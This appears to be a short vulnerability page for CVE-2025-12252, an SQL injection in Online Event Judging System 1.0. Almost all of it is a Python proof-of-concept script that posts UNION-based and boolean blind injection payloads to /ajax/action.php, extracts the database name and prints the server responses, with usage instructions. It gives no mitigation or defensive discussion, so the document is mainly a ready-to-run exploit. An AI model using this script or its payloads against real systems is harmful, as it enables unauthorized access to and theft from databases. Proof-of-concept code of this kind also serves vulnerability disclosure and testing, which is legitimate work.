CVE-2025-12252 | Online Event Judging System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-12252 SQL Injection PoC # Target: Online Event Judging System 1.0 # File: /ajax/action.php # Parameter: content def exploit_sqli(target_url, payload): """ SQL Injection exploitation function Extract database name as demonstration """ # Prepare the malicious request endpoint = f"{target_url}/ajax/action.php" # SQL injection payload for database enumeration # Using UNION-based injection technique data = { 'content': f"' UNION SELECT NULL,database(),NULL,NULL-- -", 'action': 'judge_event' # Example action parameter } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sqli_check(target_url): """ Boolean-based blind SQL injection check Verify vulnerability existence """ endpoint = f"{target_url}/ajax/action.php" # True condition - should return expected result true_payload = "' AND 1=1-- -" # False condition - should return different result false_payload = "' AND 1=2-- -" data_true = {'content': true_payload, 'action': 'judge_event'} data_false = {'content': false_payload, 'action': 'judge_event'} try: resp_true = requests.post(endpoint, data=data_true, timeout=10) resp_false = requests.post(endpoint, data=data_false, timeout=10) if resp_true.text != resp_false.text: print("[+] Blind SQL Injection confirmed!") return True else: print("[-] No SQL injection detected") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12252.py <target_url>") print("Example: python cve-2025-12252.py http://192.168.1.100/event-judging") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-12252 on {target}") print("[*] Checking for SQL Injection vulnerability...") blind_sqli_check(target)